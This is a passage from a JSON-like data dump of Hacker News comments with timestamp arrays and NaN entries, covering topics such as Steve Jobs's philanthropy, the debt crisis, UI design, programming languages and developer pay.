his wife would be far better at giving the wealth away.<p>Jobs died at a mere 56 years of age. He was sick for seven years with a form of cancer that is particularly hard to cure. If we're talking about his fortune, in all likelihood his best use of time was to drive Apple forward (he held something like $2 billion worth of Apple stock), and complete the sale of Pixar to Disney (2006) to secure his billions there as well.<p>Was Jobs going to suddenly become an amazing philanthropist, while dying from a horrific cancer, while running Apple and Pixar? This is an absurd notion. Bill Gates - by all accounts a highly productive person - had to leave his work at Microsoft in order to become a good philanthropist and go full time at the Gates Foundation.<p>Gates will spend the rest of his life on the philanthropy course. There was no 'rest of his life' for Jobs, his wife will fulfill that end. His wife will be the great philanthropist. And I believe it's very likely that was exactly what he had in mind. That thought is amplified by his lack of affection for wealth, there's no reason to think Jobs was desperate to hold onto it so he could buy mansions and leave his children billions. The logical conclusion is, he didn't view himself as the one to do the giving. Laurene is a mere 48 years old, she has a long life of giving ahead of her, bet on it.\"], \"col10\": [1359719917, 1359719848, 1359719840, 1359719809, 1359719768, 1359719727, 1359719726, 1359719706, 1359719662, 1359719633, 1359719616, 1359719575, 1359719569, 1359719507, 1359719486, 1359719433, 1359719431, 1359719407, 1359719401, 1359719397, 1359719376, 1359719287, 1359719263, 1359719244, 1359719208, 1359719204, 1359719188, 1359719184, 1359719180, 1359719178, 1359719173, 1359719172, 1359719147, 1359719141, 1359719137, 1359719124, 1359719044, 1359718951, 1359718933, 1359718917, 1359718910, 1359718908, 1359718886, 1359718818, 1359718813, 1359718783, 1359718736, 1359718657, 1359718618, 1359718604, 1359718591, 1359718575, 1359718552, 1359718552, 1359718518, 1359718508, 1359718474, 1359718444, 1359718404, 1359718401, 1359718356, 1359718338, 1359718331, 1359718238, 1359718205, 1359718204, 1359718195, 1359718184, 1359718145, 1359718122, 1359718110, 1359718101, 1359718094, 1359718035, 1359717964, 1359717931, 1359717908, 1359717869, 1359717836, 1359717739, 1359717730, 1359717727, 1359717724, 1359717723, 1359717700, 1359717690, 1359717684, 1359717671, 1359717654, 1359717651, 1359717599, 1359717545, 1359717513, 1359717491, 1359717485, 1359717432, 1359717385, 1359717322, 1359717308, 1359717253, 1359717206, 1359717189, 1359717120, 1359717101, 1359717050, 1359717016, 1359716958, 1359716902, 1359716879, 1359716865, 1359716859, 1359716847, 1359716830, 1359716787, 1359716784, 1359716763, 1359716695, 1359716694, 1359716691, 1359716657, 1359716620, 1359716620, 1359716613, 1359716611, 1359716596, 1359716587, 1359716572, 1359716568, 1359716567, 1359716560, 1359716529, 1359716509, 1359716509, 1359716473, 1359716445, 1359716431, 1359716407]}, \"column_text\": [1359719917, 1359719848, 1359719840, 1359719809, 1359719768, 1359719727, 1359719726, 1359719706, 1359719662, 1359719633, 1359719616, 1359719575, 1359719569, 1359719507, 1359719486, 1359719433, 1359719431, 1359719407, 1359719401, 1359719397, 1359719376, 1359719287, 1359719263, 1359719244, 1359719208, 1359719204, 1359719188, 1359719184, 1359719180, 1359719178, 1359719173, 1359719172, 1359719147, 1359719141, 1359719137, 1359719124, 1359719044, 1359718951, 1359718933, 1359718917, 1359718910, 1359718908, 1359718886, 1359718818, 1359718813, 1359718783, 1359718736, 1359718657, 1359718618, 1359718604, 1359718591, 1359718575, 1359718552, 1359718552, 1359718518, 1359718508, 1359718474, 1359718444, 1359718404, 1359718401, 1359718356, 1359718338, 1359718331, 1359718238, 1359718205, 1359718204, 1359718195, 1359718184, 1359718145, 1359718122, 1359718110, 1359718101, 1359718094, 1359718035, 1359717964, 1359717931, 1359717908, 1359717869, 1359717836, 1359717739, 1359717730, 1359717727, 1359717724, 1359717723, 1359717700, 1359717690, 1359717684, 1359717671, 1359717654, 1359717651, 1359717599, 1359717545, 1359717513, 1359717491, 1359717485, 1359717432, 1359717385, 1359717322, 1359717308, 1359717253, 1359717206, 1359717189, 1359717120, 1359717101, 1359717050, 1359717016, 1359716958, 1359716902, 1359716879, 1359716865, 1359716859, 1359716847, 1359716830, 1359716787, 1359716784, 1359716763, 1359716695, 1359716694, 1359716691, 1359716657, 1359716620, 1359716620, 1359716613, 1359716611, 1359716596, 1359716587, 1359716572, 1359716568, 1359716567, 1359716560, 1359716529, 1359716509, 1359716509, 1359716473, 1359716445, 1359716431, 1359716407]}"
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[\"why?\", \"\\\"Do not look into proton beam with remaining eye.\\\"\", \"\\\"So, with the help of the strategists and the professional firms we were able to throw a few more resources at the teams. We got a local marketing firm to donate some strategizing help. We wanted to set up an infrastructure for each team that they could potentially build around. And it worked out really, really well. I know that some of the DreamIt companies ended up getting quite a few people from these partners companies to be on their boards.\\\"<p>Having people on the board of directors of your company from the local accounting and marketing firms? That's just really weird.<p>A board position is certainly not something to be handed out lightly, should reflect the ownership of the company, and definitely not something you're \\\"lucky to have people on\\\".\", \"I guess he got bored with the pickle slicer.\", \"php is a great language... for a hack\", NaN, NaN, \"agreed, there was no black swan here. this was a simple debt implosion\", \"Micah - definitely agree which is why I said:<p>Are you entering an already crowded field with the hopes of doing what everyone else is doing and then try to sell some lottery tickets and candy bars along with it?<p>For gas stations, maybe it would be interesting to have paid memberships to a gas station franchise (would have made a killing in the last few weeks in Atlanta). But doing the same thing as everyone else plus selling candy bars isn\\u2019t the way to make a killing. At least I can\\u2019t think of an example where that was done to huge success.\", NaN, \"Amazon is insanely paranoid about running A/B tests on its front page and optimizing it for the bottom line.<p>And what do they find? This \\\"cluttered\\\" design makes people buy more stuff. It's hard to argue with $$ numbers.\", \"I can't get quite get my finger on what that car reminds me of. Oh right, it's basically a sleaker Prius with a Honda logo on it.\", \"<i>The banking system, betting against black swans...</i><p>I'm so sick of this guy and his gimmicks. Here--I'll sell you some zebra stampede insurance. Now you're covered against <i>that</i> black swan. It could happen, yes? But by definition, a random event can't be predicted, so why bother planning against it?<p>But this wasn't a \\\"black swan\\\". There was nothing strange about what happened, and many, many people predicted it and explained their predictions. Yet, the media is giving credit to some charlatan who provides nothing but magical thinking:<p><i>where he believes no one can predict black swan events, he's eager to cite instances where he alone has done so.</i>\", \"Nail fungus can be difficult to treat, and repeated infections are common. Over-the-counter antifungal nail creams and ointments are available, but they aren\\u2019t very effective.\", NaN, \"How does this compare with Student Universe?<p>As I understand, their system primarily relied on a series of in-house travel agents who negotiated the best deals that they could..<p>Their \\\"secret sauce\\\" was in their way of verifying that someone actually was a student; They spent a lot of money developing it, and workign out the kinks. I'd be curious to know how TravelLulu does the same.\", \"I agree with you - there is really no need to be talking about black swan events, it's simple math. Over the last few years people (especially in the US) have been borrowing like crazy based on the value of their homes. These were inflated because of banks being willing to loan to people that really couldn't afford it, thus driving up the price. A simple but vicious circle that ends the day someone yells \\\"the emperor has no clothes on\\\". And that time is now.<p>If you look through all the bank-yadayada and think for yourself it's both very simple and inevitable. And the only thing that will fix it is bringing prices and spending back to their natural level, which is well below what it is today.\", \"I'm the only person on a frontend web dev team who knows:<p>* Semantic HTML<p>* Advanced (> Basic) CSS<p>* Stylesheet design<p>* JavaScript<p>* JavaScript libraries<p>* How to write a reusable function<p>* How to use a database<p>* Damn near anything outside of Dreamweaver<p>Sometimes I really, really think I need a new job, but someone would have to approach me because the market's too risky for me to justify a serious hunt right now. In the meantime, I get to teach everyone else as much as I can, create interesting work for myself, and take care of my responsibilities which is the easiest part.\", \"\\\"Busts are when rich people started on their path to wealth.\\\"\\\\nvery timely.<p>its the people that are up and running when it turns that appear \\\"lucky\\\", when in reality they had been building during the downturn.\", \"Perhaps not!  The people who do that usually do it with borrowed money.  There's no money to borrow now.<p>They just might end up putting on white sheets, driving the mexicans out of town, and then standing around outside home depot.\", \"Don't forget that persecution of a thing tends to drive it underground but not eliminate it. There is no way of knowing how many people in centuries past were non-religious because they would have hidden this fact to avoid persecution.\", \"As a resident of Pittsburgh, I disagree. :)\", \"I am not nearly a good enough statistician to give a good critique of Talib's theories.<p>But I do recall a great article that was very informative and for the life of me, I can not find it.<p>Does anyone here know what I'm talking about, or did I just dream of an excellent Taleb counter point?\", \"Don\\u2019t forget that sometimes a startup can take a bite out of the existing market by taking the current status quo and twisting it.<p>To continue the gas analogy, perhaps you believe that there\\u2019s a better, more convenient way to sell gas, and you\\u2019re willing to bet that others will agree with you and be willing to pay you for it.\", NaN, NaN, \"They don't really provide details, but generally yes.  If you have achieved your desired energy, you might then want to irradiate something in air (remember some of this was used in weapons research).  So he could have stuck his head in front of the beam exit, or they might have pulled apart a section of the accelerator, sealed it off, but for some reason the beam was still run and the beam simply passed through the seal.<p>I'm guessing that he was probably working on one of the beam dumps (not the main accelerating ring), which meant that the beam could have already been accelerated many times around the synchrotron.\", \"Slicehost are awesome. They know their stuff, and they actually care.<p>I've had a few dedicated servers from big companies, with absolutely no support provided by people with no clue whatsoever.<p>Slicehost has been fantastic. Most notably dealing with a couple of DOS attacks against my slice.\", NaN, \"i'll explain this market for you all so you can understand it<p>DEBT UNWINDING<p>the world has flooded itself in debt, far more than any economic expansion or confidence can handle. there is always an inflection point where confidence in debt unravels. this is why even the govt can't stop the debt unwinding.<p>until a significant de-leveraging takes hold, all markets will stay in the toilet<p>for de-leveraging to take place, assets need to be repriced<p>we are now in a period i will call<p>THE GREAT REPRICING<p>all assets will be repriced. you see stocks reprice quickly now because they are the most liquid asset. bonds are next. houses will continue to fall. in the end, houses will fall by a minimum of 50%. i say this as a homeOWNER, i have already made peace with the fact that my home (in desirable bay area) will fall by 50%. in some places they have already fallen 50%<p>this is the exact experience of the japanese in the 90s. even 0% interest rates could not induce more consumption and debt. it took them TEN YEARS to work it off\", \"Thanks David - I didn't see this thread, but the presentation was clear that there was still a lot of C++ in addition to the Erlang services.  Still curious as to the thinking behind Erlang getting the nod...<p>And yes, that would be one route - arguably the best route.  But if one were to make a career out of his job in a big corp, I would say it is worth it to introduce new languages into the company to open up more options in future development.  It goes without saying though...languages with  more/better documentation and healthy community would be a plus in considering.\", \"Reminds me of Cleveland, Ohio and to a lesser extent Detroit. Some of the young neighborhoods (The Flats is a prime example) in Cleveland who were thriving ~10 years ago are now dead. It's ridiculous.\", \"Hey Hacker News, author here.<p>I have a totally unrelated question about this post. Do you see the two trackbacks? One of them (the first) appears to be a totally legit blog, but also appears to be spam? What is the proper etiquette in this situation? What is your opinion on trackbacks?\", \"just ask the really fat guy down the aisle\", \"Does anyone else find the post incredibly disrespectful? So to merely have a chance at $12/hour one should include a customized video <i>and</i> pay a professional editor to go over the cover letter (presumably one of many since we are also instructed to make sure and customize each application)? <i>Seriously?</i><p>Mr. Scoble's sense of entitlement is staggering. Just because you <i>can</i> lord it over people who find themselves unemployed in a bad economy doesn't mean you <i>should</i>.<p>In the very least he should refrain from making fun of over-qualified candidates. That's just unnecessary.\", \"As someone who left Pennsylvania:  Dead on.\", \"they are chump-change acquisitions in the grand scope of ebay's market cap\", \"no, no one in the bay area lays off unless the street (stock) demands it.<p>the psychological impact of layoffs is the antithesis of growth, which all bay area companies are trying to project<p>if they didn't need to layoff, they would just put the excess headcount on cruise control, like google and yahoo do\", \"We're not talking about them.  We're talking about the net outflow of younger natives.\", \"I'd advise the opposite:  Keep doing shit you hate.  At least until the economy gets in shape.\", \"We're profitable. And so were my two businesses (one website, one not) before this one.<p>I get what you're saying, but I believe the article was talking about startup/website/application investments not traditional brick & mortar businesses.\", \"In short, no.  ESR had it right.  \\\"That experience will make you a better programmer for the rest of your days, even if you never actually use LISP itself a lot.\\\"<p>My primary bread-and-butter language is Javascript.  When done \\\"right\\\", Javascript is a very expressive functional/prototypal object oriented language with a lot of very interesting features.  If you can do it in lisp, you can do it in Javascript: <a href=\\\"http://foohack.com/tests/ycomb.html\\\" rel=\\\"nofollow\\\">http://foohack.com/tests/ycomb.html</a><p>I've seen in myself and in coworkers, the best Javascripters know at least a little lisp, and as their lisp skills increase, so do their javascript skills.  I suspect it would have the same effect on Ruby or SML or Erlang programmers.<p>Their attitude towards boilerplate code tends to change as well, and they begin seek solutions that are as concise and expressive as possible.<p>Lisp is unique because it effectively has no syntax.  You write the abstract syntax tree directly.  By removing the scaffolding, Lisp exposes the programmer to the fundamental nature of any programming language in a way that no other programming language does.<p>That's why C and Lisp are the best languages to learn, as early as possible: if you know these two pretty well, you're in a good position to master any language you might come across.<p>Misc is a promising cousin of Lisp: <a href=\\\"http://will.thimbleby.net/misc/\\\" rel=\\\"nofollow\\\">http://will.thimbleby.net/misc/</a> I've played with it a little, but not enough to really have a strong opinion of it.\", \"> doesn't mean the area is full of startup investors<p>I'm sorry, I forgot startup just means webtard 2.0 stuff around here.  New profitable companies that work with elevators or pharmaceutical plant operations don't count.\", \"I agree. Being an angel is, in my mind, about belief. If value can be easily demonstrated, the valuations would be higher.\", \"Yeah. I'm much happier working on products. I'm not going to be a full-time investor -- I'm not suited for it. I mostly started out doing some angel investing to see if it was for me.<p>I think the main problem here is that I see problems and I immediately want to solve them. The goal for an investor is not to find and solve good problems but to bet on good teams. As Josh Kopelman says, it's about the chef, not the ingredients.<p>So mostly you end up saying \\\"no\\\" a whole lot. If you give an explanation as to why you don't like it, many entrepreneurs will simply change the details and then expect money, so you can't even generally give a reason. I think I spoke to north of 90 companies to consider even the eight deals I have done. Between that and incoherent summaries, MBAs with just a powerpoint deck, etc, I just get too tired.\", NaN, \"Corrected - fetching coffee now.\", \"haha that was my bad, corrected.<p>Just because the zip code is rich doesn't mean the area is full of startup investors. Maybe I should up & move to Beverly Hills, Palm Beach or New Canaan. Come on.<p>I didn't say it was awful, it's just not very good.\", NaN, \"I agree, the team I started working with has been changed significantly. I started working with people who thought oop meant ctrl-c. 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And how does that reflect on the quality of this web UI tool?\", NaN, \"Last year I was checking-in like mad, this year I completely stopped. Why? Because I changed job and the new people I hang out with don't use 4sq. It's a very different crowd that if I pull out my phone and start checking-in it would be seen as a very strange and embarrassing behaviour.<p>So I guess your challenge is to make check-in's as natural and encouraging as giving way to the ladies at busy restaurants.\", NaN, NaN, \"Then they <i>should</i> get unhappy, they <i>should</i> test the market and they <i>should</i> find out that they're wrong.  Who knows, maybe they'll realize they need to step up their game.<p>I really hate this \\\"just keep 'em dumb and happy\\\" nonsense.  We're not children (and you shouldn't treat children like that either).\", NaN, \"Lacking context.  What's a \\\"check-in\\\"?\", NaN, \"Scala, Clojure and Groovy are certainly not gaining \\\"massive traction\\\".  There are still millions weenies out there turning out new Cobol ^W I mean Java/.Net applications.\", \"I totally agree with you here, speed also plays a great role into this, but don't you think using SDK buttons seems a little too lazy?<p>Good design doesn't always mean as shiny as it could get. Minimal approach such as Windows Phone 7 UI design is also consider as a good design.<p>I understand what you are trying to imply here. I just realized that I also should have given some comparison on shiny and minimal designs as well. Thanks for mentioning about this. :)\", \"Not everyone acts that way.  Some folks with PHD's are really cool people.  I have begun to think that those folks who do act that way are fundamentally insecure..or something.<p>Have an upvote.\", \"In fairness you probably attract more of that sort of thing than 99% of people.  I mean, if you're going to act so aggressively alpha, you're going to get attacked often.  So your view might be a bit skewed here.\", \"Looks are definitely a \\\"part\\\" of the user experience, but not \\\"the user\\\" experience.  If you don't believe that font selection, color, white space, layout, and image selection palys a significant role in communicating information clearly and quickly, then your tool box is missing a few tools.<p>Yes, things being fast and easy to use are part of a user experience as well, but they don't make up the complete user experience.\", \"Hadoop\", \"Picked up a biz partner a few mos ago on craigslist. He was looking to make an iPad app. I agreed to a 30% stake... not sure why, in retrospect. He said he had lots of connections, and corporate relationships could be helpful in this app's market. I don't negotiate on my feet very well ;-)<p>I flew out to meet him in person. He had a very loose concept, so I drafted a concrete design while he gawked. I outlined a 3 week release target, he agreed to it, and I went to work hacking.<p>I completed a clean, high quality very-release-able app in 4 weeks, well exceeding the very basic features/specs I outlined for the 3-week-initial-release. He argues with me about inane points, I agree to some changes I know are bad ideas to appease him.<p>Cue to 3 mos later.<p>He still won't let me release, keeps promising he'll agree to a release if only I do X or Y - most X or Ys are very bad ideas, slimey, or even plain infeasible 'designs' that don't understand how to do a workable UI on a tiny touchscreen... you know the sort.<p>Also, he is driving me crazy, drags me through inane powerpoint slides and meetings, plays a lot of buzzword bingo, and hasn't contributed /anything/ to the company by my reckoning.<p>I quit my day job to work on this, but would have quit anyway. I know: I'm a fool. But its relevant because no-job means I'm also not wanting to lawyer up and spend the $. I'd just walk away if it came to that.<p>Clearly, this 'partnership' cannot continue, but I've sunk 3 mos into it, and produced a handsome iPad app, and even half an android version. I want to release them.<p>I feel like he is holding me hostage using my own work.<p>So the question: afaict I'm an independent contractor, and by most interpretations the sole author of the source code.<p>He's written me a few hundred dollar check for the flight (deal was: I travel, he pays), but I haven't signed (or verbally agreed) to assign copyright.<p>Should I just walk away? Or should I send him a message that I'm not doing this as a partnership anymore and I'm going to release on my own? Or something else???<p>I'd be happy to give him a copy of the source code too if he wants to continue it in his imo crazy direction.<p>thanks all. good to vent if nothing else.\", \"I love cricket as much as the next Englishman, but this is not a sports forum.\", \"I do have ideas and it is a major breakthrough.  And it likely won't get picked up on because I'm too low on the totem pole.<p>I joined a forum a few years ago at a time when I was very ill, doped to the gills and had major trouble \\\"behaving\\\" myself, so not at my best.  It had been around for a few years and the owner whined constantly that he wanted to increase membership, especially international membership, and couldn't figure out how.  I was there six months and membership began going up dramatically, especially international membership -- so much so that they eventually created some subforums aimed at the international members. But I don't think anyone really knew it was me that engineered it.  I wasn't even a moderator at the time.  You don't have to be a moderator to treat other people well.  In fact, it probably helps in some ways if you aren't a moderator because then it is simply an example of a decent human being, not a person with a duty to set the example.<p>More recently, I joined a forum with 300 members and almost no discussion.  After I joined, people began talking to each other.  Last I checked, it had 1800 members and has probably become the Go To place for its niche, likely displacing a more long-standing group for that niche.  Why? In part because I got thrown out of the long-standing place.  The fact is that in some ways, where I am, that's where the action is.  Except I'm not a hacker.  I don't expect to be all that influential on HN.  I come here because I get to be treated like a normal human being and people, oh, talk to me instead of dividing up between those that worship me like a rock star and those that desperately want to shoot me down and put me in my place.  So I am content with being a Nobody on HN and I have diabolical plans to remain a Noboby on HN so that it can remain a decent social outlet for me instead becoming ruined for me socially like every place where I ever became Somebody and then after fostering discussion generally on the forum, I was the only person no one would really talk to.<p>Still, I'm compulsively helpful, I tend to care, I have this unusual expertise (or insight or some such) and it just annoys the crap out of me when I can't give it away.  Maybe some day I will come to my senses and stop caring about others and just use it the way most socially insightful people seem to use their skills:  As manipulative ass-hats, for personal gain, because they know something others don't know.  But I'm not there yet.<p>Peace.\", \"Like others have said, its only applicable to live streams. I very carefully read the terms before i stopped paying the license.\", \"I don't think I've seen a reset button in a while. Does anyone still use them?\", NaN, \"To resonate on your comment : when thinking about UI design, I personally never dissociate visual and behavior.<p>The UI behavior has to comply with the visual metaphor it manipulates. This is quite hard to do properly for people (like me) that does not master one of the discipline : UI behavior is controlled by code, and with a slight lack of care, it slips easily in a spaghetti nightmare if you want something finely tuned, and UI visuals, well, also needs great skills.<p>A team that manages to set up a cooperation for those two competence will bring you great UIs.\", \"I really like it. As some of the commentors said, it is not very clear what you are trying to provide.<p>I first thought an infostripe was a left-handed side column, for blogs.  (Which would also be great).<p>Then after looking at the \\\"featured favourites\\\", I knew what I could use it for.  A mobile business card.<p>And I really don't get what a cloud notebook is.  I would try to ditch the word cloud.\", NaN, \"Thank you!<p>1) I didn't include it in the plot since I found it to remain constant, at ~300 requests/second. But yes, perhaps it would show a nice contrast to batching if graphed along with it.<p>2) This is an interesting question. I think it depends on how a non-batching solution is implemented: A) if each client obtains its own file handle, fsync()s can theoretically be issued 'slightly more concurrently'; B) if a unique file handle is the only one upon which fsync()s are called, this is essentially my solution with a dedicated thread, but which only writes one update at a time.<p>For A I'd guess a client would have to wait less for not-very concurrent environments, while in B wait time grows longer for \\\"unlucky\\\" concurrent threads. But I think a batching solution would overtake A for even moderately concurrent environment, since -- as you say -- it reduces the burden of serialisation.<p>Given time I'll try to revisit the code and try out different kinds of tests!\", NaN, \"My most recent job transition was from a programming position in a large metropolitan area to one in a very rural area. I moved for lifestyle reasons and took an ~60% pay cut -- so the best answer I have to you is \\\"it depends\\\".<p>If you want to maintain something close to your existing salary, you must <i>at least</i> look for companies or locations that actually pay that kind of salary to begin with.<p>This is probably quite obvious advice, but I think we (as developers) sometimes lose sight of the fact that there is not \\\"one true salary range\\\" for any particular set of skills.\", \"I don't have stats but I've been here since the beginning and I remember a <i>much</i> higher ratio of hard tech/comp sci articles to tech business articles.\", \"The parent said \\\"if you're having problems filling the position\\\".  If you're having problems filling the position because other companies are paying more that's going to come out sooner or later.\", NaN, \"When I click the 'terms of use' button with 'open in new tab' I get the sign up page again.<p>When I click it with 'open in current window' I get a page which says 'What?'\", NaN, \"After the middle east, a lot of \\\"democracies\\\" are considering shutting down citizen's voices. India recently did so. Democracy's representatives find it inconvenient that citizens have a voice after elections.\", \"It looks nice. What's your aim with this? A few suggestions:<p>Don't welcome people with a form. First tell us what you are all about and why we need it. Then show us how others use it. <i>Then</i> ask us to sign up.<p>In the social tab, put the most popular ones right at the top. Having to scroll all the way down for Twitter is no fun.<p><i>What is an infostripe?<p>It's a customizable way to connect all the information you want to share about anything, universally formatted for any device.</i><p>Please don't position yourself as the \\\"everything for everything, used by everyone, forever and ever more!\\\". Really, tell us what's different about you. Your site looks like it's designed for mobile phones, so why do you say universally formatted for any device?\", \"Out of curiosity... since HN is a news forum attatched to a capital investment funds' webpage, then why shouldn't it be entrepreneur focused?\", \"MassChallenge was a lifetime experience for me! I'm not in an IT space, so I'm not sure that YCombinator could be a good fit for me, but MassChallenge was a good fit indeed.\", \"Getting healthier helped remove that chip.  Partying would have been counterproductive to that end.<p>I did socialize. I had lots of friends. (Female RPG'er, for one.) But I didn't drink and such.\", \"There wasn't much in the way of meat in that post, unless I missed it. As far as I understood, the problem with calandering is:<p>- Synchronization: with potentially gazillions of users on a single network you've got a timeliness problem: User A may look free to User B, so he books User B, but actually in the interim User C books User B, so there's a conflict. Given the graph-like nature of such a network (all nodes potentially linked to each other) such conflicts could quickly ripple through the system.<p>Sounds interesting, I wish the author had been a little more specific about the problems.\", \"Huh? They could just do another analysis to show email from that time.<p>Although proving the lack of something is a lot more difficult that proving the existence of something. So it doesn't always serve much for them to say \\\"nope, can't find them\\\".<p>However, I am sure they will be eager to analyse Ceglia's computers for evidence\", NaN, \"LinceoVR is software for animation and 3D support. This software helps you to make any thing like in movies.\", \"I believe a TV license is required to watch the live streams, not VOD content.\", \"there are apps for it, but i've found launching any app as I leave the car and head in to a shop to be too much trouble.  By the time I get the app loaded and ready to record, I'm many meters from the car's location.<p>It'd be better if the device had a feature to just replay your GPS locations for the last 60 minutes.\", NaN, \"Calling that pay rate $175K/yr is beyond conservative.  Maybe if he's taking off 2 months a year for vacation (another benefit of contracting!).\", \"I don't think it's difficult to understand at all. The way I would describe it is: about.me with different design and a focus (though not exclusively) on mobile devices.<p>I like it.\", \"We want to get you inspire by every major category of logo design Because we know that designing a logo is not easy without inspiration. Today i have compiled a list of 50+ nature inspired logos. Now i think there is no need of searching any where if you want to get inspiration of nature logos.\", \"I'd just like to register my vote in favor of a regime of fascist moderation.\", \"I actually thought Joyent would play a bigger role.\", \"Maybe they use the location information to improve their service (i'm <i>really</i> just imagining here).\\\\nYou hear a song somewhere, a club, a bus, wherever and Soundhound is able to identify it. Somebody near you hears the same sound, but Soundhound can't identify it, maybe it is to noisy, the sound to low, for whatever reason they can't tell you what song it is, but they have the good recognition from somebody close to you, so they might be able to narrow it down...\\\\nAgain, just hypothetical, that's just what i would do from an engineer's perspective, i'm almost sure, they are not doing anything fancy like this.\", NaN, \"<i>Does the market really matter if I'm happy with what I'm being paid?</i><p>Sure it does. A portion of your happiness at work is down to the quality of people you work with, no? If your company routinely lowballs, then when the dust settles you are going to find yourself surrounded by people who had no choice but to accept that rate. The market therefore affects you whether you care about it or not.<p>Also, things change. Plenty of money to live on as a bachelor might leave you a bit short if you want to start a family. If you don't \\\"need\\\" the money right now, stick it in a savings account. Because remember this: <i>someone</i> is getting the value you create. Why shouldn't it be you?\", \"Plus pretty much every Android app. That's not JVM, just Java, but still. Answers the question and nothing to sneeze at either, I would think.\", \"Yes of course gorgeous user interface design matters. But pitching two calculators up against each other is missing the point.<p>Beauty matters when everything else is equal. It's very easy to make something a simple as as calculator look good if you got the chops, because the UI have been solved for you.<p>But interface design is not just about how it looks. It's about how it works. And I will take something that works over something that looks good any day.\", \"Nope, only if you're watching live (as it's being broadcast) TV.\", \"Avoid bonus systems.  Bonus systems do not work out well for non-executives.  Look at the story again: the kid made out better than anyone because his $175/hr is his for as many hours as he works no matter how the company performs that year.  He gets his \\\"bonus\\\" every hour he works.  The senior dev has a whopping 30% of his yearly comp tied up in a nebulous bonus that probably gets paid out far enough into the next year that he's already earned about half of his next bonus by the time he actually gets it (i.e. makes leaving expensive).<p>The bonus system was originally set up for high up executives to tie their comp more exactly to company performance since they are responsible for it.  As a dev you are <i>not</i> responsible for company performance.  Are you able to sack the sales team if you feel that they're not competent?  Are you able to change company direction?  You can't be responsible for something you have no ability to change.  People saying you do are just manipulating you to their own advantage.\", \"  6     3  ,  6     3  ,   6     3 \", NaN, \"Something missing from this story: money. How does this guy pay for six years of training (doing what he wants) with no income? I guess the lecture circuit and some Nike sponsorship, but will that be enough to pay rent, food, travel and maybe support a family?\", \"motorized table base can be bought for ~500$ ( <a href=\\\"http://www.tablelegworld.com/Motorized-Table-Legs\\\" rel=\\\"nofollow\\\">http://www.tablelegworld.com/Motorized-Table-Legs</a> )and then any spare table top can be attached to these -  not that expensive in my opinion - and you get a working thing rather than some book or brick based hack which sucks in the long term\", \"I hate the term \\\"User Experience\\\". Especially considering that most people think that user experience is about making the crap as shiny as possible.<p>A good user experience has nothing to do with looks....make the crap fast (especially on mobile) and as easy as possible to use. That's \\\"the secret\\\".\", \"Thank you so much. You really made my day <i>singletear</i> :)\", \"Great thinking with the light above the keyboard.\", \">> and now no TV licence fee<p>Nope, if you're watching TV programs on your computers or smartphones (iPlayer) you still have to pay UK TV licence.\", \"If you ran a small service website and some person randomly sued you, it would be enough of a hassle and expense to respond to that through the legal system, as it is. Doing so as an individual with the full force and might of one of the largest multinational corporations on the planet which itself has the support (against intellectual property concerns, etc) of the entire government, including the president and vice president who have made ignorant and vigorous statements against what they perceive you to be doing is an entirely different situation. It is a situation that you almost surely can't win and can't afford to fight and most <i>certainly</i> can't afford to lose.<p>The problem here is that you also shouldn't go around making rap videos of yourself talking about how you're going to completely fuck Sony up and challenging them to \\\"bring it on\\\" while collecting contributions to your legal defense fund, when you know full well that you're going to roll over when the time comes, because you simply have no rational choice.\", NaN, NaN, NaN, NaN, \"I think the author is a fool for making claims about how comparatively hard large programs like Word and Excel are without having any such experience. Reminds me of the fool last week who was making claims about commercial game development practices without knowing anything about it.\", \"IMHO the reason is obvious. The first few thousand users have very high IQ, so they would post interesting links and comments. After many more ppl joined the average IQ dropped sharply and so did the average quality of content.\", \"Read \\\"You are your own gym\\\". All you need to get started for the first 1-2 years.\", \"Actually the == comparison is VERY consistent.  == will return true only if the values are identical--in the case of primitives, this means the ints or doubles are identical, and in the case of objects it means the pointers have identical values--meaning they point to the exact same object.  But this way I know that if I want to do something like change the way things stored in sets, I have to modify equals(), since that's what maps and sets use to check equality.<p>Strings are only allowed to use + because strings were traditionally seen as primitive types, rather than the objects they are in Java.  It's a small inconsistency, but more of a concession to existing practice.<p>I'm not sure what else the \\\"on and on\\\" refers to...\", \"1) Eat well - this is paramount<p>How?\", NaN, \"I'm on the fence with them supporting XP. One comparison to take into account is Safari's releases have dropped support for an older OS, much less than 10 years, they did change processor architecture though and have less business users to support. Also Microsoft offer free support.\", NaN, \"I just avoid Facebook all-together. am content with IRC and HN-style sites. when i really need to chat, I use Gmail's Chat or use Skype.<p>For me, anonymity and control are the reasons\", \"Nah, it means less money available to the tier above you and/or the shareholders and/or the non-LOB parts of the company, e.g. HR.\", \"Well if you didn't party, you missed out on one of the major reasons for going to college.<p>Some socialising might have helped remove that chip from your shoulder ;)\", \"> <i>can anyone on HN name one single app they use daily that is programmed in java?</i><p>Twitter: <a href=\\\"http://engineering.twitter.com/2011/04/twitter-search-is-now-3x-faster_1656.html\\\" rel=\\\"nofollow\\\">http://engineering.twitter.com/2011/04/twitter-search-is-now...</a>\", \"I don't see it as a problem of CS, but management. It's a problem we've made all by ourselves.<p>Absolutely any problem involving humans where errors MUST be kept at ~0% in all cases (any you have just a bunch of variables that can combine and permute) becomes extremely hard.<p>If you add a ton of features to it, then it becomes intractable.<p>In my company, all meetings are set in GMT and a notification is sent as soon as the meeting is decided, which is never less than 3 days in advance. After that, it's not any software responsibility to attend to this meeting and it doesn't matter whether you received a reminder or not. You keep track of your local time. If your country decides to switch to the Mayan Calendar it's not my f<i></i><i></i>*g problem, you keep track of GMT time. Period.\", \"Why is there no mention of concurrency?\", \"> can anyone on HN name one single app they use daily that is programmed in java<p>1. IntelliJ IDEA\\\\n2. Eclipse (and its derivative works)\\\\n3. My bank's e-portal (ok it sucks, but it's written in Java)<p>Btw, I'm a Java programmer so my opinion is biased, but I think JVM is different than Java (programming language). I don't really like Java's verbosity, but I'm betting big on JVM. Hence I learn Groovy and Scala (both run on JVM).\", \"I hate it when this happens.<p>ESXi is excellent, I think one of the best x86 kernels in existence.  The management software is nowhere near on par with it; it is finicky Windows software that doesn't match the hypervisor's speed or reliability.  The long-rumoured Linux version of the management platform still has not materialised.\", \"<i>the only tangible way a company can truly appreciate a good employee is biting the bullet and by paying him a bigger compensation</i><p>Exactly! A lot of people say what they really want at work is to be appreciated by their boss. Well he will appreciate you a hell of a lot if the money that should be in YOUR salary is in his instead!\", NaN, \"Graph problems would be hard without recursion I think. I've been working on some problems that are naturally expressed as graphs, and recursion is the natural way to do some things; it's be quite hard to do some things I did iteratively, now that I think about it (that is, without 'emulating' recursion with an 'explicit', manually-maintained stack).\", \"I think everyone is aware of these issues and can clearly express the problem based on the real life social network presentation, but its about 